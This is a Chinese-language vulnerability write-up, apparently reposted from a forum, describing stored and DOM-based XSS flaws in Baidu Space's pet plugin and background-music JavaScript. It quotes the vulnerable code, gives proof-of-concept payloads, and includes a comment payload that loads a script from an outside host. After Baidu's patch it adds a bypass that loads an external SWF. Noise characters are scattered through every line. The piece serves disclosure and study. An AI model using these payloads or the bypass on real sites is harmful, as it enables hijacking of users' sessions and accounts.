百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
6 q$ W( Z7 e' ^/ f3 S" b9 U/ C( X, X, C3 ?1 n
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. * G6 t9 f/ E3 o5 _
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
9 [4 G* m2 @1 Q b3 X' E+ U% _ c
?7 d# [3 P- Z5 x$ C* g将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
) D: H/ I" y9 ^8 I$ A# L9 k其中BdUtil.insertWBR为 ' c) Q4 y0 C$ p1 m2 ?2 _. D1 w
function(text, step) {
- j$ s( u Q" p2 U var textarea = textAreaCache || getContainer();
5 T7 m5 u M- h1 y if (!textarea) {
' `5 X2 z+ H0 ~% S. L' Z/ T+ x return text; / Z6 x6 t7 E" d+ W
} 6 _& y' }4 |2 q& E+ L4 [
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
; G# \0 D0 t0 V% W6 Y0 g var string = textarea.value; 9 f" ^. ~) e) @0 T5 d6 d5 `
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); % w! f c6 }$ q# ~$ V! t
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); " F/ q. Q) B b% y- _: I0 c
return result;
( r2 |7 m9 k i- x1 Z8 l}
9 G4 s$ M5 W! x6 H2 y, A: [/ A在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. - M1 [) l8 Q+ a
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 4 Z2 P3 e5 A3 \$ s& ]
: N! A# Q" `4 U( z- e
二:creatbgmusic() Dom-Xss Bug : z3 L% m1 d/ i6 A3 ?& T
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 I$ i( n' U& C
; [; k% X+ e3 Z7 A2 D/ d: Z- i3 b
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: ( ^( B/ i& L5 N; X
; _9 B0 S7 U2 R3 U$ L$ h
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
. M: i1 f3 K2 o5 m* o( n //传入的murl赋值到bgmusic1和bgmusic2中 7 u' E9 d+ o9 h0 A/ {
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 ' a4 {7 _6 B# S" E3 x0 @) v
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
' E" w* H, n' j) W- \; r T$ } if (musicnum <= 1) {
6 m8 c. o7 K0 N; X7 j$ Q bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
9 }4 z% X8 x& m+ r x3 ]. l } ' |& X. O+ _4 r' c; h
bgmusic1 += "</OBJECT>"; - C! L' h8 O* _7 X2 O) r* N$ g
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
6 I! T* r: u: @1 d! n if (musicnum <= 1) { k, i1 x' z7 X
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
8 [& k. G4 {+ N: M5 r } 6 ^# [2 d) j- z, a+ F) G
bgmusic2 += "> </EMBED>";
i" I# }0 Y0 R+ P0 K, W% f var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; . x1 f' a- n! k% r
var bgmus = detectWMP();
7 w Y' v6 X9 m* @ if (functype == "FckMusicHelper") {
4 v4 D8 u. ^: I! {$ y if (bgmus.installed) { 9 F; T+ e( B8 ]3 j- S* w8 f/ ^) H) u
if (bgmus.type == "IE") {
+ u2 h# D! A, m7 J8 E1 Z return bgmusic1;
3 N& i8 {0 s8 Y/ v5 }2 T } else if (bgmus.type == "NS") {
: L b( ^6 A9 g- i return bgmusic2;
! N. `* v- D$ r" b% s }
! e$ N' Y, J7 e. E- m% `/ z$ e9 D } else {
6 y! C% l# |; Q# l4 m+ O return bgmusic3;
4 t9 ~3 f" d$ n7 f7 i }
J- d3 i! x0 B3 `1 s8 C. x } else { $ Y% G+ f& [3 I- S) u8 Z
if (bgmus.installed) { " e+ m! b; _6 T9 l6 x0 r
//document.write 直接输出bgmusic变量 导致xss
( V( K0 R& Q9 _3 |* {7 U8 X if (bgmus.type == "IE") { 7 ~$ k( Y: G7 i% T5 v. E1 _8 d) u
document.write(bgmusic1); $ P! E1 i2 Q; j& K3 K
} else if (bgmus.type == "NS") { & c& V9 F& _# n; v
document.write(bgmusic2); 8 }4 B' q: [6 n9 C
}
. L9 G! Q! A2 m* w" ` } else { $ Z7 \8 I- @0 u: t- A
document.write(bgmusic3); : |# F. f( H! }+ G
}
: s# x1 a, }5 S+ p return "";
1 [ o% I: E! }7 [0 b$ H } 9 s* J4 H( s5 C" h, _# K' L
} , N6 b! D! {7 W& {
, w A1 L; V, k T; K! O
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
' @$ f8 |8 x! ]( K( Y0 @/ ~# g( R( p- K. E( N5 z ]) q
function initBlogTextForFCK(){
+ v2 D* M p; q2 I//fck init music
* |$ s, d" R: [; S' C7 Qif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ; k$ n+ f6 R, m d0 h1 S
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
& j+ f0 A! _, N! q! k$ nvar isAutoPlay=true; ' G4 O3 O0 f, J7 o! @6 u2 Y
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
5 Q; S, m' L0 e/ q' e! h var img=imgBox; [3 a6 j' w) M$ V. ]3 F3 U
if(img.getAttribute(’rel’)){
5 R6 p& r4 \6 y0 D+ L8 e: B8 x var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc # q2 t9 Y5 V- S4 N9 C+ e% h1 D
var musicDiv = document.createElement("SPAN");
& z5 g' ]1 G8 l* [, Z2 Z+ ` var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
, s5 g+ }9 J( K+ C, p
7 \, t1 \9 a- {; I! t1 `! j .......................... 8 O5 |6 N7 a4 ~( d
( l. A% @' W- A7 P. v4 z. ?# ?+ G //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
. G8 G: F% ^9 X& Y var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
; o0 x3 i2 \- U" e0 z shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); & o% f+ C4 v/ w3 o2 w/ p8 o, `
musicDiv.innerHTML=shtml;
7 O# t% f$ O+ d6 ~) l1 m i--;n--;
5 g5 _9 u1 b# H0 ^ n } ) m' i7 s# B3 P$ y- v( V6 i
} ) t) H, A, L" T5 k/ u( m
2 H( \( n* `+ [7 w, X
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. / l0 ?+ | w1 _
" x9 U5 j2 R# L# y
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> & i$ U' [' o9 k/ M, a
, S. N& N$ V6 o2 R a9 {: H V9 X' K
等待官方补丁 ' I3 f8 A5 @1 {8 X3 _* Q4 S
; \( b7 o1 M H# o! a# T+ {6 h
update 2010年5月13日 + A2 g6 B: a5 V5 e9 v( B9 u/ t7 o
0 t. w3 E) O0 l. O0 ?& d
官方补丁:
# y2 T5 z1 {, _/ T$ n$ E8 Z$ x' q9 C- S# r+ l4 R( a7 J
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
/ n% v6 Z7 y' }' m+ [6 I+ g改为: ) S* k1 ?' H- U" w1 B9 V1 ]/ o/ r
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
. j- F2 Y+ S8 N# n0 q2 [. d5 k& v6 @) ?$ z4 h9 t
update 2010年5月13日 21:50:37 ! F7 u! |$ W6 d, n; C! ^( K
# M5 e, w; ^4 [+ N9 ^- c
补丁存在漏洞 没有过滤" 可以继续跨:
% W# e" i8 }5 ]8 B0 w2 s
. D" V% e8 t$ Y5 j1 t6 lNEW POC: & ^% M7 N2 `1 {/ b' A& T2 M& G
' H/ @: M3 f% N+ v
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 5 W2 ]' Y( @" {: n+ _& r7 @
5 O4 a7 g3 I2 g$ Vallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
* z& M0 L* u, S/ @) u0 b9 D$ @5 W * |8 s1 k; e" N* n( G' M
|